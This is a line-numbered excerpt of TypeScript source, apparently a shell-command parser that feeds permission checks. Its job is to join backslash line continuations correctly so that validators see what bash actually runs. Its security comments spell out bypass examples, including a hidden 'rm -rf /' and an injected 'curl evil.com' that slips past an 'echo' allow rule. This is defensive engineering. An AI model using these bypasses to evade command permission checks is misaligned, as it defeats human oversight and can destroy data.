(command: string)
| 83 | export type { CommandPrefixResult, CommandSubcommandPrefixResult } |
| 84 | |
| 85 | export function splitCommandWithOperators(command: string): string[] { |
| 86 | const parts: (ParseEntry | null)[] = [] |
| 87 | |
| 88 | // Generate unique placeholders for this parse to prevent injection attacks |
| 89 | // Security: Using random salt prevents malicious commands from containing |
| 90 | // literal placeholder strings that would be replaced during parsing |
| 91 | const placeholders = generatePlaceholders() |
| 92 | |
| 93 | // Extract heredocs before parsing - shell-quote parses << incorrectly |
| 94 | const { processedCommand, heredocs } = extractHeredocs(command) |
| 95 | |
| 96 | // Join continuation lines: backslash followed by newline removes both characters |
| 97 | // This must happen before newline tokenization to treat continuation lines as single commands |
| 98 | // SECURITY: We must NOT add a space here - shell joins tokens directly without space. |
| 99 | // Adding a space would allow bypass attacks like `tr\<newline>aceroute` being parsed as |
| 100 | // `tr aceroute` (two tokens) while shell executes `traceroute` (one token). |
| 101 | // SECURITY: We must only join when there's an ODD number of backslashes before the newline. |
| 102 | // With an even number (e.g., `\\<newline>`), the backslashes pair up as escape sequences, |
| 103 | // and the newline is a command separator, not a continuation. Joining would cause us to |
| 104 | // miss checking subsequent commands (e.g., `echo \\<newline>rm -rf /` would be parsed as |
| 105 | // one command but shell executes two). |
| 106 | const commandWithContinuationsJoined = processedCommand.replace( |
| 107 | /\\+\n/g, |
| 108 | match => { |
| 109 | const backslashCount = match.length - 1 // -1 for the newline |
| 110 | if (backslashCount % 2 === 1) { |
| 111 | // Odd number of backslashes: last one escapes the newline (line continuation) |
| 112 | // Remove the escaping backslash and newline, keep remaining backslashes |
| 113 | return '\\'.repeat(backslashCount - 1) |
| 114 | } else { |
| 115 | // Even number of backslashes: all pair up as escape sequences |
| 116 | // The newline is a command separator, not continuation - keep it |
| 117 | return match |
| 118 | } |
| 119 | }, |
| 120 | ) |
| 121 | |
| 122 | // SECURITY: Also join continuations on the ORIGINAL command (pre-heredoc- |
| 123 | // extraction) for use in the parse-failure fallback paths. The fallback |
| 124 | // returns a single-element array that downstream permission checks process |
| 125 | // as ONE subcommand. If we return the ORIGINAL (pre-join) text, the |
| 126 | // validator checks `foo\<NL>bar` while bash executes `foobar` (joined). |
| 127 | // Exploit: `echo "$\<NL>{}" ; curl evil.com` — pre-join, `$` and `{}` are |
| 128 | // split across lines so `${}` isn't a dangerous pattern; `;` is visible but |
| 129 | // the whole thing is ONE subcommand matching `Bash(echo:*)`. Post-join, |
| 130 | // zsh/bash executes `echo "${}" ; curl evil.com` → curl runs. |
| 131 | // We join on the ORIGINAL (not processedCommand) so the fallback doesn't |
| 132 | // need to deal with heredoc placeholders. |
| 133 | const commandOriginalJoined = command.replace(/\\+\n/g, match => { |
| 134 | const backslashCount = match.length - 1 |
| 135 | if (backslashCount % 2 === 1) { |
| 136 | return '\\'.repeat(backslashCount - 1) |
| 137 | } |
| 138 | return match |
| 139 | }) |
| 140 | |
| 141 | // Try to parse the command to detect malformed syntax |
| 142 | const parseResult = tryParseShellCommand( |
no test coverage detected